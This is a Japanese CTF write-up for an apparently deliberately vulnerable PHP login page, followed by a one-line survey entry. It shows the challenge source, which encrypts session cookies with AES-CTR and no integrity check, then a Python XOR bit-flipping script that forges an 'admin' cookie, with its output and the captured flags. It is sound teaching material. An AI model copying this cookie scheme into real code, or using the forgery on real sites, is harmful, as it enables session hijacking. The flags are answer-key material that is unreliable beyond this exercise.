<?php include "secret.php"; //server_secret, iv, flag $cookie_name = "SESSION"; if (!isset($_COOKIE[$cookie_name])) { header('Location: /signin.php'); exit; } $cipher="aes-128-ctr"; list($iv, $encrypted_session_data) = explode("|", base64_decode($_COOKIE[$cookie_name]), 2); $session_data = openssl_decrypt($encrypted_session_data, $cipher, $server_secret, OPENSSL_RAW_DATA, $iv); list($username, $auth_code) = explode("|", $session_data); if ($auth_code !== $server_secret) { die("No hack!"); } ?> <html> <head> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-eOJMYsd53ii+scO/bJGFsiCZc+5NDVN2yr8+0RDqr0Ql0h+rP48ckxlpbzKgwra6" crossorigin="anonymous"> <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.9.1/dist/umd/popper.min.js" integrity="sha384-SR1sx49pcuLnqZUnnPwx6FCym0wLsk5JZuNx2bPPENzswTNFaQU1RDvt3wT4gWFG" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta3/dist/js/bootstrap.min.js" integrity="sha384-j0CNLUeiqtyaRmlzUHCPZ+Gy5fQu0dQ6eZ/xAww941Ai1SxSY+0EQqNXNE6DZiVc" crossorigin="anonymous"></script> </head> <body> <div class="px-4 py-5 my-5"> <div class="col-lg-6 mx-auto text-center"> <p class="lead mb-4"> <?php print("Welcome, ".$username." :)<br>"); if ($username === "admin") { print("Flag: ".$flag); }else{ print("Only admin can see the flag. Sorry."); } ?> </p> <div> <button type="button" class="btn btn-success btn-sm" onclick="location.href='index.php?source';">View Source</button> <button type="button" class="btn btn-warning btn-sm" onclick="location.href='signin.php?logout';">Logout</button> </div> </div> <?php if (isset($_GET['source'])) { print("<hr>\n"); highlight_file(__FILE__); } ?> </div> </body> </html>
クッキーのSESSIONの値を見ると、以下のように設定されている。
SA1p8eGFm6jgURLd%2FKxSqny%2B%2B%2BRK8Zpd7iRpNpahkOTF7TMzL%2BNdFxv6VdmtQRcLSSiMBuMvKHkUIImfltt1QkOaF0qOJDVOc6cqgzFFS5%2FNbji1pia5tQ%3D%3D
URLデコードする。
SA1p8eGFm6jgURLd/KxSqny+++RK8Zpd7iRpNpahkOTF7TMzL+NdFxv6VdmtQRcLSSiMBuMvKHkUIImfltt1QkOaF0qOJDVOc6cqgzFFS5/Nbji1pia5tQ==
base64デコードする。
>>> from base64 import * >>> b64decode('SA1p8eGFm6jgURLd/KxSqny+++RK8Zpd7iRpNpahkOTF7TMzL+NdFxv6VdmtQRcLSSiMBuMvKHkUIImfltt1QkOaF0qOJDVOc6cqgzFFS5/Nbji1pia5tQ==') b'H\ri\xf1\xe1\x85\x9b\xa8\xe0Q\x12\xdd\xfc\xacR\xaa|\xbe\xfb\xe4J\xf1\x9a]\xee$i6\x96\xa1\x90\xe4\xc5\xed33/\xe3]\x17\x1b\xfaU\xd9\xadA\x17\x0bI(\x8c\x06\xe3/(y\x14 \x89\x9f\x96\xdbuBC\x9a\x17J\x8e$5Ns\xa7*\x831EK\x9f\xcdn8\xb5\xa6&\xb9\xb5'
これの"|"より前16バイトがiv。その後5バイトが"guest"をAES-CTRで暗号化されている。"admin"にするためにこの5バイトを以下のように計算すればよい。
新暗号5バイト = "guest" ^ 暗号5バイト ^ "admin"
上記の計算からadminのクッキーを求める。
#!/usr/bin/env python3 from Crypto.Util.strxor import strxor from base64 import * cookie = b'SA1p8eGFm6jgURLd/KxSqny+++RK8Zpd7iRpNpahkOTF7TMzL+NdFxv6VdmtQRcLSSiMBuMvKHkUIImfltt1QkOaF0qOJDVOc6cqgzFFS5/Nbji1pia5tQ==' session = b64decode(cookie) iv = session.split(b'|')[0] enc = session.split(b'|')[1] user1 = b'guest' user2 = b'admin' new_enc_head = strxor(strxor(user1, enc[:5]), user2) new_session = iv + b'|' + new_enc_head + enc[5:] new_cookie = b64encode(new_session).decode() print(new_cookie)
実行結果は以下の通り。
SA1p8eGFm6jgURLd/KxSqny46uxQ65pd7iRpNpahkOTF7TMzL+NdFxv6VdmtQRcLSSiMBuMvKHkUIImfltt1QkOaF0qOJDVOc6cqgzFFS5/Nbji1pia5tQ==
これをURLエンコードして、クッキーのSESSIONに設定する。
SA1p8eGFm6jgURLd%2FKxSqny46uxQ65pd7iRpNpahkOTF7TMzL%2BNdFxv6VdmtQRcLSSiMBuMvKHkUIImfltt1QkOaF0qOJDVOc6cqgzFFS5%2FNbji1pia5tQ%3D%3D
その後リロードすると、フラグが表示された。
Welcome, admin :) Flag: SCTF{T3ll_me_4_r3ally_s3cure_w4y_to_m4na9e_5eSS10ns}
SCTF{T3ll_me_4_r3ally_s3cure_w4y_to_m4na9e_5eSS10ns}
Survey (Misc)
アンケートに答えたら、フラグが表示された。
SCTF{7h4nk_yOu_S33_y0u_49a1n_1n_S5TF2O23}